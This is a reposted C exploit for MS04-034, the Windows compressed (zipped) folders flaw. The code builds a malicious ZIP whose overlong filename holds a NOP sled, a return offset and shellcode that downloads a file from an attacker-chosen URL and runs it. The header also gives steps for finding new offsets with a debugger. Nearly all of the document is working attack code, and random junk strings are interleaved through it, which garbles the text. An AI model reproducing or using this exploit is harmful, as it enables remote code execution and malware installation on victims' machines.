(MS04-034)Microsoft Windows Vulnerability in Compressed (zipped) Folders

韩冰

/* Microsoft Windows Vulnerability in Compressed (zipped) Folders (MS04-034) 4 V' n( M8 X/ m: N' ?# a* * Tested under Windows XP SP0 Spanish/English * * Original Advisory: http://www.eeye.com/html/research/advisories/AD20041012A.html * Exploit Date: 21/10/2004 ( t( ]" E1 l- I9 w& V5 Q7 ?; T* * Tarako - Haxorcitos.com 2004 # g& l, B! |3 O) R* ^1 n& u* : x: A. A B/ K) J9 x$ O& D: y* THIS PROGRAM IS FOR EDUCATIONAL PURPOSES *ONLY* IT IS PROVIDED "AS IS" * AND WITHOUT ANY WARRANTY. COPYING, PRINTING, DISTRIBUTION, MODIFICATION ; i3 C n4 z) l' j% l# s( H$ _* WITHOUT PERMISSION OF THE AUTHOR IS STRICTLY PROHIBITED. 8 M# l2 \; s& Q: Z1 w* 8 v: G2 {; ~8 [& s/ J* Greetings t #haxorcitos, #dsr and #localhost @efnet * 3 v( G3 \( T/ i! I4 a+ O: v+ w* 9 {+ g$ a$ j, O4 O* How to get new offsets: ( |# d) D; q* u" U" x* 1) attach debugger (i.e ollydbg) to explorer.exe * 2) open the zip file as a folder and add or move some files to it * 3) search in the explorer.exe memory the shellcode and get the addresses * */ ) _8 \& ]/ l, ^; _#include <stdio.h> #include <windows.h> #pragma pack(1) #define DATOS "Tarako-Haxorcitos.com" . w$ F9 A7 D3 ?$ ] 7 b1 I' |5 d! a8 V+ O1 qtypedef struct { + \1 D1 b0 a9 L, {DWORD Signature; // PK.. 4 bytes (0x04034B50) , C$ L' E* A; XWORD VersionNeeded; WORD GeneralPurposeFlag; // para el data descriptor y demas 0 }+ m/ M5 [& w7 vWORD CompressionMethod; ' |# Q4 P( W4 N% NWORD ModFileTime; # H) l4 r: B- x8 `7 {" C4 |+ I6 t. mWORD ModFileDate; / H, s( M, c& F) WDWORD Crc32; DWORD CompressedSize; DWORD UncompressedSize; WORD FilenameLength; WORD ExtraFieldLength; // filename (variable size) // extra field (variable size) A7 M! K9 ] w3 {$ {}TOPHEADER; 8 y, e% G9 n, e% \0 W; G ' R2 J6 I* T) b# K3 W3 J8 ? / U6 `& j- g( E% k: ^5 x/ D1 k7 }- Atypedef struct { DWORD Signature; // PK.. 4 bytes (0x02014B50) WORD MadeVersion; WORD VersionNeeded; WORD GeneralPurposeFlag; // para el data descriptor y demas % m' e& ]8 o- L. T, e$ ^ o7 jWORD CompressionMethod; . [: i0 {0 m. j' g0 `WORD ModFileTime; WORD ModFileDate; DWORD Crc32; DWORD CompressedSize; % v2 \1 H0 w! v0 R& [* eDWORD UncompressedSize; ) P& q( d5 }$ {# {3 x) bWORD FilenameLength; ! G$ @( S4 n. [- G( d# sWORD ExtraFieldLength; WORD FileCommentLength; # t {) x! t" ^7 a9 WWORD DiskNumberStart; WORD InternalFileAttributes; # {% ^: e' P' I1 n: E7 ODWORD ExternalFileAttributes; 5 f9 B: A+ D2 n& NDWORD RelativeOffsetOfLocalHeader; // filename (variable size) // extra field (variable size) // file comment (variable size) }MIDDLEHEADER; 1 x. E" O0 C/ t$ o3 {2 d4 y ' e% a% D. h3 N6 z9 s/ Q8 Rtypedef struct { DWORD Signature; // PK.. 4 bytes (0x06054B50) WORD NumOfThisDisk; WORD NumDisckStartCentralDirectory; " U6 U) f6 d6 @8 C& p+ fWORD NumEntriesCentralDirOnThisDisk; WORD TotalNumEntriesCentralDir; DWORD SizeCentralDirectory; DWORD OffsetCentraDirRespectStartDiskNum; 1 [" Y! X& X; r7 b2 `2 z; `WORD ZipCommentLength; // zipfile comment (variable size) + L; L F$ U: w, {8 d}BOTTOMHEADER; 2 c4 f% J2 u' K) }" G/* 4 B7 }3 a7 r/ ^; w* r4 Z% F* download shellcode - RaiSe - raise@netsearch-ezine.com " b! s" x2 h) d8 f! t*/ char shellcode1[] = "\xEB\x5D\x5F\x8B\xF7\x80\x3F" "\x08\x75\x03\x80\x37\x08\x47\x80\x3F\x01\x75\xF2\x33\xC9\xB5\x05\x8B\xFE\x2B\xF9" "\x8B\xEF\xB5\x03\x2B\xF9\x8B\xD7\xB2\x7C\x8B\xE2\x89\x75\xFC\xB5\x40\xC1\xE1\x08" "\x89\x4D\xF8\x8D\x49\x3C\x8B\x09\x03\x4D\xF8\x8D\x49\x7F\x41\x8B\x09\x03\x4D\xF8" + i2 M) F/ t8 K"\x8B\xD9\x8B\x49\x0C\x03\x4D\xF8\x81\x39\x4B\x45\x52\x4E\x74\x07\x8D\x5B\x14\x8B" "\xCB\xEB\xEB\x33\xC0\x53\xEB\x02\xEB\x7C\x8B\x33\x03\x75\xF8\x80\x7E\x03\x80\x74" "\x14\x8B\x3E\x03\x7D\xF8\x47\x47\x56\x8B\x75\xFC\x33\xC9\xB1\x0D\xF3\xA6\x5E\x74" 1 W4 ]( h& ]8 m0 H3 n+ {"\x06\x40\x8D\x76\x04\xEB\xE0\x5B\x8B\x5B\x10\x03\x5D\xF8\xC1\xE0\x02\x03\xD8\x8B" 3 a. V6 f( N% E' s9 o"\x03\x89\x45\xF4\x8B\x5D\xFC\x8D\x5B\x0D\x53\xFF\xD0\x89\x45\xF0\x8D\x5B\x09\x53" , C0 x/ H, u1 C& C/ N& o& ~ B) S"\x8B\x45\xF4\xFF\xD0\x89\x45\xEC\x8B\x45\xF0\x8B\x40\x3C\x03\x45\xF0\x8B\x40\x78" "\x03\x45\xF0\x89\x45\xE8\x8B\x40\x20\x03\x45\xF0\x8D\x7B\x08\x33\xD2\x57\x8B\x30" "\x03\x75\xF0\x33\xC9\xB1\x0F\xF3\xA6\x74\x0B\x5F\xEB\x02\xEB\x7A\x42\x8D\x40\x04" "\xEB\xE7\x8B\x5D\xE8\x33\xC9\x53\x5F\x8B\x7F\x24\x03\x7D\xF0\xD1\xE2\x03\xFA\x66" ! u9 f& ^# ^$ g% G$ W4 `- {) m9 X"\x8B\x0F\x8B\x5B\x1C\x03\x5D\xF0\xC1\xE1\x02\x03\xD9\x8B\x1B\x03\x5D\xF0\x89\x5D" 6 ~- x5 s7 [$ G"\xE4\x8B\x55\xFC\x8D\x52\x2D\x8D\x7D\xE0\x33\xC9\xB1\x06\x51\x52\x52\x8B\x75\xF0" ) D7 F" B7 P' b& H+ f"\x56\xFC\xFF\xD3\xFD\xAB\x5A\x59\x38\x2A\x74\x03\x42\xEB\xF9\x42\xE2\xE8\xB1\x04" , L/ O1 [% b4 q$ A"\x51\x52\x52\x8B\x75\xEC\x56\xFC\xFF\xD3\xFD\xAB\x5A\x59\x38\x2A\x74\x03\x42\xEB" % l8 t5 ~- e+ K) q; V5 G"\xF9\x42\xE2\xE8\xFC\x52\x33\xD2\xB6\x1F\xC1\xE2\x08\x52\x33\xD2\xEB\x02\xEB\x7C" "\x52\x8B\x45\xD8\xFF\xD0\x5B\x89\x45\xB8\x33\xD2\x52\x52\x52\x52\x53\x8B\x45\xC8" 8 |2 B8 i8 g' j) A' d* `4 ]' v# Z"\xFF\xD0\x89\x45\xB4\x8D\x7B\x08\x33\xD2\x52\xB6\x80\xC1\xE2\x10\x52\x33\xD2\x52" , g3 f9 b4 q) a$ K"\x52\x57\x50\x8B\x45\xC4\xFF\xD0\x89\x45\xB0\x8D\x55\xAC\x52\x33\xD2\xB6\x1F\xC1" $ {% z1 s8 d9 Z0 l" R% z) F. k% Y"\xE2\x08\x52\x8B\x4D\xB8\x51\x50\x8B\x45\xC0\xFF\xD0\x8B\x4D\xB0\x51\x8B\x45\xBC" 3 t4 [6 O% t* X"\xFF\xD0\x8B\x4D\xB4\x51\x8B\x45\xBC\xFF\xD0\x33\xD2\x52\x43\x43\x53\x8B\x45\xE0" "\xFF\xD0\x89\x45\xA8\x8B\x7D\xAC\x57\x8B\x55\xB8\x52\x50\x8B\x45\xDC\xFF\xD0\x8B" "\x55\xA8\xEB\x02\xEB\x17\x52\x8B\x45\xD4\xFF\xD0\x33\xD2\x52\x53\x8B\x45\xD0\xFF" 1 R- M1 w& W/ F- m! h3 j J; a"\xD0\x33\xD2\x52\x8B\x45\xCC\xFF\xD0\xE8\x0D\xFE\xFF\xFF\x4C\x6F\x61\x64\x4C\x69" 1 U6 H+ p1 C* i5 ?/ s"\x62\x72\x61\x72\x79\x41\x08\x4B\x45\x52\x4E\x45\x4C\x33\x32\x08\x57\x49\x4E\x49" * O- M! I4 s+ ~$ M) y# O- C"\x4E\x45\x54\x08\x47\x65\x74\x50\x72\x6F\x63\x41\x64\x64\x72\x65\x73\x73\x08\x5F" "\x6C\x63\x72\x65\x61\x74\x08\x5F\x6C\x77\x72\x69\x74\x65\x08\x47\x6C\x6F\x62\x61" ' H7 E0 j% l& T; h4 ]; i0 ?3 W, \- d"\x6C\x41\x6C\x6C\x6F\x63\x08\x5F\x6C\x63\x6C\x6F\x73\x65\x08\x57\x69\x6E\x45\x78" "\x65\x63\x08\x45\x78\x69\x74\x50\x72\x6F\x63\x65\x73\x73\x08\x49\x6E\x74\x65\x72" * Z% j; c& s1 J8 H/ r' E"\x6E\x65\x74\x4F\x70\x65\x6E\x41\x08\x49\x6E\x74\x65\x72\x6E\x65\x74\x4F\x70\x65" "\x6E\x55\x72\x6C\x41\x08\x49\x6E\x74\x65\x72\x6E\x65\x74\x52\x65\x61\x64\x46\x69" 0 D7 a% w1 b$ K3 U"\x6C\x65\x08\x49\x6E\x74\x65\x72\x6E\x65\x74\x43\x6C\x6F\x73\x65\x48\x61\x6E\x64" "\x6C\x65\x08\x72\x08\x78\x2E\x65\x78\x65\x08"; char shellcode2[] ="\x08\x01"; . h6 T0 T5 d1 k; Y9 Dchar offset[]="\x41\x41\x41\x41"; char jmpbelow[]= "\xeb\x06\x90\x90"; ( C7 g6 I- t V int main(int argc,char *argv[]) { FILE *ZipFile; TOPHEADER *Cabecera1; MIDDLEHEADER *Cabecera2; BOTTOMHEADER *Cabecera3; * _8 u5 y9 n% `: {7 Y5 p5 X0 p DWORD c; UINT i; 3 E; w' ]* C0 r/ Tchar *filename; char *url; ! c8 d; Q& h+ @- j+ _ printf("\n MS04-034 - Vulnerability in Compressed (zipped) Folders POC"); printf("\n Tarako - Tarako[AT]Haxorcitos.com\n"); if (argc!=2) { printf("\n\n Usage: %s <URL> \n",argv[0]); 6 h6 [, c; J, i9 |3 |3 d0 gexit(1); . b0 H2 ] J7 ~- H5 G) \} " a1 f+ E! c/ k1 l url=argv[1]; * S' M: ^/ p, ~2 c! Fprintf("\n * URL: %s",url); ! m( W1 _1 b' x6 X% E if (!(ZipFile=fopen("prueba.zip","w+b"))) { 6 L7 T3 D* ]( E0 V! c. xprintf("\n [E] fopen()"); exit(1); } c=0x8000; // filename length filename=(char*)malloc(sizeof(char)*c); memset(filename,0,sizeof(filename)); for( i=0x0;i<c;i++) filename=(BYTE)0x90; memcpy(filename+0x1814,jmpbelow,strlen(jmpbelow)); 4 b. w; Y, c) X0 Amemcpy(filename+0x1818,offset,strlen(offset)); - U3 i5 ^- M6 C3 }( J& ~7 v) N0 D memcpy(filename+0x7000,shellcode1,sizeof(shellcode1)-1); memcpy(filename+0x7000+sizeof(shellcode1)-1,url,strlen(url)); / a( U, M( p' L/ ]memcpy(filename+0x7000+sizeof(shellcode1)+strlen(url)-1,shellcode2,sizeof(shellcode2)-1); memcpy(filename+(c-4),".txt",4); ' [1 a' v4 I% Q+ {* U) `3 X% k6 N* v( ~ Cabecera1=(TOPHEADER*)malloc(sizeof(TOPHEADER)); Cabecera2=(MIDDLEHEADER*)malloc(sizeof(MIDDLEHEADER)); 8 b, s! U5 a( U1 D1 U& M7 n1 v& |. ACabecera3=(BOTTOMHEADER*)malloc(sizeof(BOTTOMHEADER)); % N9 A1 u( V p- @: gmemset(Cabecera1,0,sizeof(TOPHEADER)); 9 o4 F; k& T' o; t$ @memset(Cabecera2,0,sizeof(MIDDLEHEADER)); * V. j/ H" u2 S: m2 Bmemset(Cabecera3,0,sizeof(BOTTOMHEADER)); / B3 P* N% }6 m5 | , F6 Y6 {9 W& F+ w& J7 |4 ]/////////////////////////////////////////////////////////////////// // TOPHEADER 7 I! G9 B7 h! a9 O6 ?) j/ P/////////////////////////////////////////////////////////////////// 8 L- P: O; H# n% ?% W$ P8 t' hCabecera1->Signature=0x04034B50; // DWORD $ c4 s2 I( {: F9 a6 V4 ~- {5 lCabecera1->VersionNeeded=0x000A; // WORD Cabecera1->GeneralPurposeFlag=0x0002; // WORD para el data descriptor y demas # i. Z& ?2 Z. X+ f2 gCabecera1->CompressionMethod=0x0000; // WORD Cabecera1->ModFileTime=0x1362; // WORD ' a6 u1 R1 ^; o: [Cabecera1->ModFileDate=0x3154; // WORD Cabecera1->Crc32=0x85B36639; // DWORD 1 k' Q9 {# y3 i$ ]7 fCabecera1->CompressedSize=0x00000015; // DWORD Cabecera1->UncompressedSize=0x00000015; // DWORD Cabecera1->FilenameLength=(WORD)c; // WORD 0x0400;//strlen(filename); Cabecera1->ExtraFieldLength=0x0000; // WORD /////////////////////////////////////////////////////////////////// & j3 d- P) {8 W% D2 L/////////////////////////////////////////////////////////////////// 6 L& F, W a- X+ g$ K1 c// MIDDLEHEADER % @4 J* o$ i6 k/////////////////////////////////////////////////////////////////// Cabecera2->Signature=0x02014B50; // DWORD Cabecera2->MadeVersion=0x0014; // WORD Cabecera2->VersionNeeded=0x000A; // WORD Cabecera2->GeneralPurposeFlag=0x0002; // WORD Cabecera2->CompressionMethod=0x0000; // WORD Cabecera2->ModFileTime=0x1362; // WORD " E z, [' p- }0 y _6 YCabecera2->ModFileDate=0x3154; // WORD 9 W/ n2 m/ O- R0 ICabecera2->Crc32=0x85B36639; // DWORD ) a# M; y% E7 I- HCabecera2->CompressedSize=0x00000015; // DWORD Cabecera2->UncompressedSize=0x00000015; // DWORD Cabecera2->FilenameLength=(WORD)c; // WORD 0x0400;//strlen(filename); Cabecera2->ExtraFieldLength=0x0000; // WORD * l8 P6 J" r; cCabecera2->FileCommentLength=0x0000; // WORD ) K9 F: B8 Z/ OCabecera2->DiskNumberStart=0x0000; // WORD Cabecera2->InternalFileAttributes=0x0001; // WORD " i! {& c' E! h, mCabecera2->ExternalFileAttributes=0x00000020; // DWORD # M1 h; _) i4 c# x$ gCabecera2->RelativeOffsetOfLocalHeader=0x00000000; // DWORD % S3 Y# H6 V( E/////////////////////////////////////////////////////////////////// /////////////////////////////////////////////////////////////////// // BOTTOMHEADER /////////////////////////////////////////////////////////////////// Cabecera3->Signature=0x06054B50; // DWORD Cabecera3->NumOfThisDisk=0x0000; // WORD 7 A; E/ _/ R! x3 j' R* |8 L6 `/ pCabecera3->NumDisckStartCentralDirectory=0x0000; // WORD Cabecera3->NumEntriesCentralDirOnThisDisk=0x0001; // WORD Cabecera3->TotalNumEntriesCentralDir=0x0001; // WORD Cabecera3->SizeCentralDirectory=sizeof(MIDDLEHEADER)+c; // DWORD $ r& z: J+ e) l( D- o& h6 qCabecera3->OffsetCentraDirRespectStartDiskNum=sizeof(TOPHEADER)+strlen(DATOS)+c; // DWORD Cabecera3->ZipCommentLength=0x0000; // WORD /////////////////////////////////////////////////////////////////// , e8 U3 T& X( ^" U 0 t0 h# J, ?* u1 A" w4 Ufwrite(Cabecera1, sizeof(TOPHEADER), 1,ZipFile); fwrite(filename, c, 1,ZipFile); 1 l* ^6 a, U6 b8 j3 Z8 qfwrite(DATOS,strlen(DATOS),1,ZipFile); 3 D b# ]* W4 R# \fwrite(Cabecera2, sizeof(MIDDLEHEADER), 1,ZipFile); fwrite(filename, c, 1,ZipFile); fwrite(Cabecera3, sizeof(BOTTOMHEADER), 1,ZipFile); $ A' w4 g. z8 e: s _fclose(ZipFile); printf("\n * prueba.zip created\n"); return 1; ; F4 }: R2 r" P2 r/ y6 ^0 d}//downloaded from milw0rm.com $ m8 c& t, K+ q* c